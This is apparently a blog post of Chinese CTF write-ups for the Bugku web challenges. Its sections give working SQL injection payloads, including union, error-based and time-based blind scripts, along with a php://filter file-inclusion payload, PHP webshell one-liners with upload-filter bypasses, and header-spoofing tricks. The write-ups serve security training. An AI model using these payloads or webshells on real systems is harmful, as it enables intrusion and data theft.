zoukankan      html  css  js  c++  java
  • bugkuCTFWEB部分WP

    前言

    之前做的今天整理下 这个有点乱不建议大家参考我的wp 这个主要是自己看的。部分的我做的时候打不开就没写。

    练手地址:https://ctf.bugku.com

    矛盾

    矛盾
    考察的是PHP弱类型
    首先is_numeric()函数判断是不是数字或字符串 取反则必须要输入字符串而且这个字符串还要==1 这里用到PHP弱类型比较
    如:1=1aaaa 所以构造payload:http://123.206.87.240:8002/get/index1.php?num=1
    得到flag

    web3

    web3
    禁用JS
    查看源码得到下面有被注释的HTML实体
    HTML实体转换成字符得到flag

    你必须让他停下

    你必须让他停下
    禁用JS 停下来了
    一共有15张图片 不停的浏览器刷新直到第十张图片出现 查看源码出现flag
    或者BP repeater直到flag出现

    变量1

    从题中得到代码 显示包含了flag的php文件 显然flag就在flag1.php文件中的其中变量中 不知道变量 可以用超全局变量实现payload:http://123.206.87.240:8004/index1.php?args=GLOBALS

    web5

    web5
    查看源码获得[]+等字符 复制放到js控制台回车得到ctf{whatfk}
    转成大写即可

    头等舱

    头等舱
    感觉看题目根http响应头有关,BP抓包 repeater查看HTTP返回头得到flag

    网站被黑

    网站被黑
    御剑扫描得到后门大马
    BP爆破得到密码hack输入得到flag

    管理员系统

    管理员系统
    查看源码得到base64密文解密得到test123猜测是密码
    输入显示IP被禁 BP抓包 修改XFF字段为127.0.0.1
    X-forwarded-For:127.0.0.1 发送得到flag

    web4

    web4
    查看源码得到经过url编码的JS 解码得到原来的JS拼接
    注意一共有三段 两段URL编码的JS分别在p1和p2JS变量中
    还有一段在eval()汉中里面的unescape()函数中 这段拼接在中间得到 完整JS函数 由函数得知输入相应值 即可将解码出来的值放进去即可得到flag

    flag在index里

    flag在index里
    点了几下看url跟题目联想得出是文件包含包含index.php即可
    payload:http://123.206.87.240:8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php
    得到base64编码解码得到index.php源码 源码中有flag

    输入密码查看flag

    输入密码查看flag
    BP设置五位数字爆破即可。。

    点击一百万次

    点击一百万次
    复制原先JS吧js判断条件改成1即可然后点一次BP抓包
    在包中可以看到 有个clicks=1 把1改成1000000提交得到flag

    备份是个好习惯

    备份是个好习惯
    看到首页有一段CMD5解密得出空
    猜测备份文件index.bak 或者御剑扫描得出源码

    必备知识:
    $_SERVER['REQUEST_URI']获取URL值
    先学PHP几个函数
    strstr()搜索字符串在另一字符串中的第一次出现
    substr()返回字符串的一部分()
    str_replace()以其他字符替换字符串中的一些字符

    原网页
    代码意思是传入一个key= 即可和原来的经过cmd5加密的相匹配即可 可是在出现str_replace()的地方把key给滤了 所以想办法绕过这个函数过滤即可写出kekeyy即可
    payload:http://123.206.87.240:8002/web16/index.php?kekeyy2=

    成绩单

    成绩单
    成绩查询
    输入数字1,2,3试了下 能查询到感觉像SQL注入直接上BP
    测试注入

    id=1' order by 5# 
    id=5' union select 1,database(),version(),4#
    id=5'union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
    id=5'union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g'#
    id=5'union select 1,group_concat(skctf_flag),3,4 from fl4g#

    最后得到flag

    秋名山老司机

    秋名山老司机

    import requests
    import re
    url = 'http://123.206.87.240:8002/qiumingshan/'
    s = requests.Session()
    source = s.get(url)
    print source
    expression = re.search(r'(d+[+-*])+(d+)', source.text).group()
    #re.search(pattern,string,flags=0)扫描整个字符串并返回第一个成功的匹配
    #pattern:匹配的正则表达式
    #string:要匹配的字符串
    #flags:标志位,用于控制正则表达式的匹配方式
    #group()匹配整个表达式字符串
    print expression
    result = eval(expression)
    post = {'value': result}
    print(s.post(url, data = post).text)

    速度要快

    速度要快
    查看源码获得这个信息提示margin post提交
    OK ,now you have to post the margin what you find
    BP抓包 获得flag 头base64解码得到:
    跑的还不错,给你flag吧: MzY5Nzg1(后面的值每次都不一样)
    还可以再base64解码 BP post提交不行
    只能写脚本了
    eg:

    import requests
    import base64
    url="http://123.206.87.240:8002/web6/"
    s=requests.Session()
    
    headers=s.get(url).headers
    str1=base64.b64decode(headers['flag'])
    str2=base64.b64decode(str1.split(':')[1])
    
    data={'margin':str2}
    flag=s.post(url,data=data)
    print(flag.text)

    cookie欺骗

    cookie欺骗
    打开发现url?line=&filename=a2V5cy50eHQ=
    base64解码出key.txt 想到试试包含index.PHP
    base64加密放到同样的位置啥都没
    修改URL中line=1 出现第一行源码依次类推写了个脚本

    import requests
    a=30
    url="http://123.206.87.240:8002/web11/index.php"
    shuju=""
    i=0
    for i in range(a):
    data={'line':i,'filename':'aW5kZXgucGhw'}
    re=requests.get(url,params=data)
    shuju+=re.text
    print(shuju)

    搞出index全部源码 发现
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
    $file_list[2]='keys.php';
    }
    这样一段 修改cookie 修改URL filename=key.php(base64位加密后的)
    修改cookie为 margin=margin 在BP抓包中在headers中直接添加Cookie:margin=margin发送即可得到flag
    payload:http://123.206.87.240:8002/web11/index.php?line=2&filename=a2V5cy5waHA=
    头部部分:Cookie:margin=margin

    login1(SKCTF)

    login1(SKCTF)
    题目提示了sql约束攻击 百度看资料了解到
    注册一个新的账户 :admin (注意要有空格)密码随意
    然后使用自己注册的账户登录即可
    参考:
    https://www.freebuf.com/articles/web/124537.html

    never give up

    never give up
    1.查看源码获得1p.html
    2.以源码方式访问1p.html
    3.URL转码 base64转码得到PHP代码
    4.在代码中找到flag的文件
    f4l2a3g.txt
    payload:http://123.206.87.240:8006/test/f4l2a3g.txt

    字符?正则?

    字符?正则?
    基础
    定界符:/和/(一般来说是这两个,其实除了和字母数字其它的只要是成对出现都可以看做定界符,比如##、!!之类的);
    . (一个点):表示可以匹配任何字符;
    * :前面的字符重复零次或多次;
    {n,m} :前面的字符重复4~7次
    (反斜线):后面的字符被转义
    [a-z] :在a到z中匹配
    [[:punct:]] :匹配任何标点符号;
    /i :表示这个正则表达式对大小写不敏感;

    根据页面中的正则表达式进行构造 构造出keyaakeyaaaaaakey:/a/aakeya! GET提交获得flag
    payload:http://123.206.87.240:8002/web10/index.php?id=keyaakeyaaaaaakey:/a/aakeya!
    参考学习:https://blog.csdn.net/destiny1507/article/details/82429521
    https://www.cnblogs.com/afarmer/archive/2011/08/29/2158860.html

    前女友(SKCTF)

    前女友(SKCTF)
    点击 链接二字 跳转到源码
    利用md5不能处理数组命令即可绕过cmd5对比
    payload:http://123.206.31.85:49162/index.php?v1[]=1&v2[]=2&v3[]=2222

    你从哪里来

    你从哪里来
    看到页面说来自google BP抓包 Repeater里面增加HTTP头字段Referer:https://www.google.com 发送即可得到flag

    md5 collision(NUPT_CTF)

    md5 collision(NUPT_CTF)
    看到页面提示输入a 联想的get试试a=1测试false 想到根md5
    碰撞有关 利用cmd5漏洞进行提交
    payload:http://123.206.87.240:9009/md5.php?a=s878926199a

    程序员本地网站

    程序员本地网站
    BP抓包 改 X-forwarded-For:127.0.0.1 提交即可

    各种绕过[考察点:shar()函数漏洞]

    各种绕过
    利用sha1()函数无法处理数组即可
    sha1($_GET['uname']) === sha1($_POST['passwd'])
    sha1()无法处理返回false
    sha1()无法处理返回false
    false===false

    payload:http://123.206.87.240:8002/web7/index.php?uname[]=1&id=margin
    POST 部分passwd[]=1111
    即可绕过得到flag
    参考学习:https://blog.csdn.net/zhaohansk/article/details/44153141

    web8

    extract()函数从数组中奖变量导入到当前的符号表
    trim()-移除字符串两侧的空白字符或其他预定义字符
    file_get_contents()把整个文件读入一个字符串中
    根据题目猜测到根目录有flag.txt 看到flag文本里面的内容
    因为f=flag.txt里面的内容 ac===f 所以ac要给传flag.txt里面的文本即可全等达到要求。
    最后构造
    payload:http://123.206.87.240:8002/web8/index.php?ac=flags&fn=flag.txt

    细心

    细心
    扫描得到robots.txt发现新页面
    访问新页面得到显示不是管理员IP被记录
    但发现了if ($_GET[x]==$password)
    BP GET爆破 值是admin....
    get传输进去获得flag

    求getshell

    求getshell
    想办法上传马
    试了好几种上传绕过都不行看大佬WP
    一共要有三种过滤
    请求头部的Content-Type
    文件后缀
    请求数据的Content-Type


    文件后缀依次尝试php1 php2 php3 phtml phtm php5 phps等
    最终php5可以绕过所以这个过滤应该是通过黑名单进行过滤的

    请求数据的Content-Type字段改为image/jpeg即可

    头部的Content-Type大小写绕过: multiPart/form-data;

    参考学习
    https://blog.csdn.net/xiaojianpitt/article/details/6856536
    https://www.jianshu.com/p/81f797d5a8e3
    https://www.cnblogs.com/amyzhu/p/9992753.html

    INSERT INTO注入

    INSERT INTO注入
    INSERT INTO huahua(name) VALUE('111'+sleep(5));

    insert into huahua(name) values('1'+(select case when(1=1) then sleep(3) else 0 end));

    substr(database() from 1 for 1) = substr(database(),1,1)

    insert into huahua(name) values('1'+(select case when(1=1) then sleep(3) else 0 end));


    //脚本 灵活应变header里面的 和循环次数

    import requests
    
    url="http://123.206.87.240:8002/web15/"
    allString='''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
    database=''
    flag=1
    for i in range(1,32):
    for j in allString:
    header={
    #数据库名 web15 "X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
    #表名 client_ip,flag "X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) 
    #字段名 flag"X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
    "X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(flag) from flag) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
    
    
    }
    r=requests.get(url,headers=header)
    t=r.elapsed.total_seconds()
    print('the time of'+j+'is'+str(t))
    if t >=3 and t < 4:
    database=database+j
    print('the '+str(i)+'place of database is'+j)
    break
    elif t<3 and j=='M':
    flag=0
    break
    if flag==0:
    break
    print('DATABASE:',database)

    多次

    多次
    注入题
    判断过滤了那些语句

    id=1'^(length('union')!=0)--+
    id=1'^(length('select')!=0)--+
    id=1'^(length('or')!=0)--+

    过滤的部分双写即可绕过
    payload:

    id=-1' uniounionn seleselectct 1,2--+
    id=-1' uniounionn seleselectct 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
    id=-1' uniounionn seleselectct 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
    id=-1' uniounionn seleselectct 1,group_concat(flag1,address) from flag1--+

    发现新的页面继续判断注入 这次我们可以随便使用各报错注入
    使用updatexml报错注入
    payload:

    id=1' and updatexml(1,concat(0x7e,(SELECT DATABASE()),0x7e),1)--+
    得到:数据库名:web1002-2
    id=1' and updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables where table_schema="web1002-2"),0x7e),1)--+
    得到表名:~class,flag2~
    id=1' and updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_name="flag2"),0x7e),1)--+
    得到字段名:~flag2,address~
    id=1' and updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(flag2,':',address) FROM flag2),0x7e),1)--+
    得到flag: flag{Bugku-sql_6s-2i-4t-bug}

    文件包含2[考察点:文件包含2]

    文件包含2
    打开查看源码发现上传文件
    上传图片马即可解析成php 但是过滤了<?等
    方法1

    新建图片文件输入

    <script language=php>system("ls")</script>

    上传进去访问得到当前目录下的flag文件访问文件页面得到flag
    方法2

    <script language=php>eval($_POST['xiaohua']);</script>

    菜刀连接目录下有flag文件查看即可
    方法3
    普通一句话会被过滤,这里构造

    <?=eval($_POST['shell']);>

    参考来源
    https://blog.csdn.net/weixin_43571641/article/details/84667126
    https://blog.csdn.net/qq_33417843/article/details/79756682

    flag.php [考察点:序列化漏洞]

    flag.php
    没思路看wp
    看提示有hint在后面加上hint
    得出源码
    http://123.206.87.240:8002/flagphp/?hint
    得到源码
    核心在这一块乍一看和后面的一段变量有关其实并无关系因为这个是字符串包裹的不是变量!!!
    核心代码:elseif (unserialize($cookie) === "$KEY")
    还是看核心这里有个恢复$cookie这个变量里面的值 要等于字符串$KEY 这时其实我们把字符串$KEY 序列化 本地序列化得出值s:0:"";

    再联系上面的这段代码$cookie = $_COOKIE['ISecer']; 得知键值是ISecer 构造出:ISecer=s:0:"";
    Cookie:ISecer=s:0:""; BP抓包发送得到flag
    参考学习:
    https://www.runoob.com/php/php-serialize-function.html

    sql注入2

    sql注入2
    看了WP才知道跟SQL毛关系都没
    利用wvs扫描得出.DS_Store目录
    利用ds利用工具 得出falg文件打开获得flag

    login3(SKCTF)

    login3(SKCTF)

    有疑惑:
    参考学习
    https://blog.csdn.net/zpy1998zpy/article/details/80667775
    脚本:

    import requests
    
    str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
    url="http://123.206.31.85:49167/index.php"
    
    resutlt=""
    for i in range(40):
    for j in str_all:
    payload="admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i),ord(j))
    
    data={
    "username":payload,
    "password":"1222"
    }
    s=requests.post(url,data=data)
    
    if "error" in s.text:
    resutlt+=j
    print(resutlt)
    break;


    解出来的值cmd5解密 再配合admin登陆得到flag

    Trim的日记本

    Trim的日记本
    御剑扫描 发现shouw.php打开 发现flag................

    剩余部分待更.....

  • 相关阅读:
    使用HtmlAgilityPack将HtmlTable填入DataTable
    用EXCEL的VBA将PHPCMS的备份文件转换成HTML的一次尝试
    从微观角度看到宏观世界
    洛克菲特:如何管好你的钱包
    论永生_基因编辑
    如何隐藏自己的应用程序在服务器上不被发现?
    检视阅读
    改变了我对英语理解的语法课
    Rick And Morty使命必达与毁灭--------英语笔记
    文件太大,网速太慢,如何高效的传递到服务器上运行
  • 原文地址:https://www.cnblogs.com/xhds/p/12275573.html
Copyright © 2011-2022 走看看